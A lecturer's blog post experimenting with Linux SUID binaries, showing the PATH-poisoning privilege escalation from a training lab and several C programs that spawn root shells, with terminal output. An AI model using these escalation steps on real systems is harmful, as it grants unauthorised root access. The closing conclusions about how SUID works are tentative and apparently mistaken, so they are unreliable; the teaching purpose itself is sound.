Dan Quixote Codes

Adventures in Teaching, Programming, and Cyber Security.

~/blog$ SUID Shenanigans

While prepping for the overflow lecture noticed some new behaviour with SUID, Haven't been able to find any changes in the Kernel log, so thought I would play to work out the behaviour

Path Poisoning Weirdness

Old Behaviour

In the Linux Trainer, the following code was used in a path poisoning example.

#include <stdio.h>
#include <stdlib.h>

void main(void){
  printf("Attempting to access file:\n");
  system("cat /home/level18/File.txt");
}

Once installed, SUID permissions were set

level18@f0432d98b859:~$ ls -l
total 32
-r-------- 1 elev18  elev18     36 Feb 11 10:00 File.txt
-r-------- 1 elev18  elev18     64 Feb 11 10:00 Pass.txt
---s--x--x 1 elev18  level18 16624 Feb 11 10:00 runme
-rwxr--r-- 1 level18 level18   141 Feb 11 10:00 source.c
level18@f0432d98b859:~$ 

We could do the Classic Path poison attack and elevate the permissions

level18@f0432d98b859:~$ echo "/bin/sh" > cat
level18@f0432d98b859:~$ chmod +x cat
level18@f0432d98b859:~$ PATH=.:$PATH ./runme 
Attempting to access file:
$ whoami
elev18
$ 

Recreating on my Arch System

So take the same code, compile and set the permissions

dang@dang-laptop ~/Coding/Testing$ ls -l
-rwsr-sr-x 1 root dang 16624 Mar 19 19:40 a.out
-rw-r--r-- 1 dang dang   141 Mar 19 19:40 Testcode.c
dang@dang-laptop ~/Coding/Testing$ 

And try to recreate the exploit

dang@dang-laptop ~/Coding/Testing$ echo "/bin/sh" > cat
dang@dang-laptop ~/Coding/Testing$ chmod +x cat
dang@dang-laptop ~/Coding/Testing$ PATH=.:$PATH ./a.out
Attempting to access file:
sh-5.0$ whoami
dang
sh-5.0$ 

So it looks like we get different behaviour between the installs, SUID doesn't elevate permissions on the more modern system.

Digging a Bit Deeper.

Setting SUID on the file system

To avoid the confusion with the path poisoning, lets work on a simpler version of the file.

#include <stdio.h>
#include <stdlib.h>

void main(void){
  system("/bin/sh");
}

Set SUID bit in the file systems, and when we run this we still don't get a root shell??

dang@dang-laptop ~/Coding/Testing$ ls -l
-rwsr-sr-x 1 root dang 16576 Mar 19 19:49 a.out
-rwxr-xr-x 1 dang dang     8 Mar 19 19:41 cat
-rw-r--r-- 1 dang dang    80 Mar 19 19:48 Testcode.c
-rw-r--r-- 1 dang dang   141 Mar 19 19:40 Testcode.c~
dang@dang-laptop ~/Coding/Testing$ ./a.out                                                                          
sh-5.0$ id
uid=1000(dang) gid=1000(dang) groups=1000(dang),977(docker),987(uucp),998(wheel)
sh-5.0$ 

Setting SUID in the Binary

However, if we add a call to SUID inside the binary we get slightly different behaviour

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void main(void){
  setuid(0);
  system("/bin/sh");
}

Compile and Run, which doesn't help us:

dang@dang-laptop ~/Coding/Testing$ ls -l                                                                            
total 32
-rwxr-xr-x 1 dang dang 16624 Mar 19 19:53 a.out
-rwxr-xr-x 1 dang dang     8 Mar 19 19:41 cat
-rw-r--r-- 1 dang dang   136 Mar 19 19:52 Testcode.c
-rw-r--r-- 1 dang dang   141 Mar 19 19:40 Testcode.c~
dang@dang-laptop ~/Coding/Testing$ ./a.out                                                                          
sh-5.0$ id
uid=1000(dang) gid=1000(dang) groups=1000(dang),977(docker),987(uucp),998(wheel)
sh-5.0$ 

If we also put the file system SUID bit (and owner to root) we get the desired result

dang@dang-laptop ~/Coding/Testing$ ls -l                                                                            
total 36
-rwsr-sr-x 1 root dang 16624 Mar 19 19:53  a.out
-rwxr-xr-x 1 dang dang     8 Mar 19 19:41  cat
-rw-r--r-- 1 dang dang   136 Mar 19 19:54 '#Testcode.c#'
-rw-r--r-- 1 dang dang   136 Mar 19 19:52  Testcode.c
-rw-r--r-- 1 dang dang   141 Mar 19 19:40  Testcode.c~
dang@dang-laptop ~/Coding/Testing$ ./a.out                                                                          
sh-5.0# id
uid=0(root) gid=1000(dang) groups=1000(dang),977(docker),987(uucp),998(wheel)
sh-5.0# 

So it looks like we need to have SUID set in both the file, and the file system.

Dealing with Other users.

Lets add a third "Testuser" to the mix (Note, we need to set permissions of the ~/Coding/TEsting directory to 777 to allow the testuser to access the files.

We keep both setuserid in the source and the file system SUID bit, and the standard privesc still works as expected.

dang@dang-laptop ~/Coding/Testing$ ./a.out                                  
sh-5.0# whoami
root
sh-5.0# 
[testuser@dang-laptop Testing]$ ./a.out 
sh-5.0# whoami
root
sh-5.0# exit
exit
[testuser@dang-laptop Testing]$ pwd
/home/dang/Coding/Testing
[testuser@dang-laptop Testing]$ ./a.out 
sh-5.0# whoami
root
sh-5.0# 

Setting User ID to another user.

If we modify the userid in the binary (for example to dang). And then set the file system SUID bit to that user the elevation doesn't work

sh-5.0$ ls -l
total 28
-rwsr-xr-x 1 dang dang 16624 Mar 20 18:01 a.out
-rw-r--r-- 1 root root   139 Mar 20 18:01 Testcode.c
-rw-r--r-- 1 root root   136 Mar 20 17:43 Testcode.c~
sh-5.0$ ./a.out 
sh-5.0$ id
uid=1001(testuser) gid=1001(testuser) groups=1001(testuser)
sh-5.0$ 

However set the File system owner to root, and the SUID bit and we get the userchange.

sh-5.0$ ls -l
total 28
-rwsr-xr-x 1 root dang 16624 Mar 20 18:01 a.out
-rw-r--r-- 1 root root   139 Mar 20 18:01 Testcode.c
-rw-r--r-- 1 root root   136 Mar 20 17:43 Testcode.c~
sh-5.0$ ./a.out 
sh-5.0$ id
uid=1000(dang) gid=1001(testuser) groups=1001(testuser)
sh-5.0$ 

This is behaviour is not continued with Group permissions

[testuser@dang-laptop SUIDTest]$ ls -l
total 28
-rwxr-sr-x 1 dang root 16624 Mar 20 18:01 a.out
-rw-r--r-- 1 root root   139 Mar 20 18:01 Testcode.c
-rw-r--r-- 1 root root   136 Mar 20 17:43 Testcode.c~
[testuser@dang-laptop SUIDTest]$ ./a.out 
sh-5.0$ whoami
testuser

So It looks like we need to have a root user, regardless of the user we are trying to SUID to.

Even Weirder. Doesn't appear to work in TMP.

So we compare the same, setup in user dir and /tmp/

[testuser@dang-laptop Demo]$ pwd
/tmp/Demo
[testuser@dang-laptop Demo]$ ls -l
total 24
-rwsr-sr-x 1 root root 16624 Mar 19 22:36 a.out
-rw-r--r-- 1 dang dang   136 Mar 19 19:52 Testcode.c
[testuser@dang-laptop Demo]$ ./a.out 
sh-5.0$ 
dang@dang-laptop ~/Coding/Testing$ ls -l                                    
total 32
-rwsr-sr-x 1 root root 16624 Mar 19 22:37 a.out
-rwxr-xr-x 1 dang dang     8 Mar 19 19:41 cat
-rw-r--r-- 1 dang dang   136 Mar 19 22:34 Testcode.c
-rw-r--r-- 1 dang dang   141 Mar 19 19:40 Testcode.c~
dang@dang-laptop ~/Coding/Testing$ ./a.out                                  
sh-5.0# 

What about other Directories

Stashing the file in OPT appears to work for both users

dang@dang-laptop /opt/SUIDTest$ ls -l                                                                               
total 24
-rwsr-xr-x 1 root root 16624 Mar 20 17:43 a.out
-rw-r--r-- 1 root root   136 Mar 20 17:43 Testcode.c
dang@dang-laptop /opt/SUIDTest$ id                                                                                  
uid=1000(dang) gid=1000(dang) groups=1000(dang),977(docker),987(uucp),998(wheel)
dang@dang-laptop /opt/SUIDTest$ ./a.out                                                                             
sh-5.0# id
uid=0(root) gid=1000(dang) groups=1000(dang),977(docker),987(uucp),998(wheel)
sh-5.0# 

Summary

  • SUID no longer appears to work on a purely file system basis
  • Need to set userid inside the binary also.
  • Appears we need the owner of the file to be root, for any kind of SUID to happen.

Not sure how I feel about this, while its probably a good idea to force the coder set the SUID flag in both the binary, and the file system, other things bother me. Needing the file to be owned by root certainly seems a bit strange, and seems likely to lead to cockups.

NOTE: This is initial thoughts, perhaps doing something other than a system call would show more expected behaviour, I will get around to testing this soon.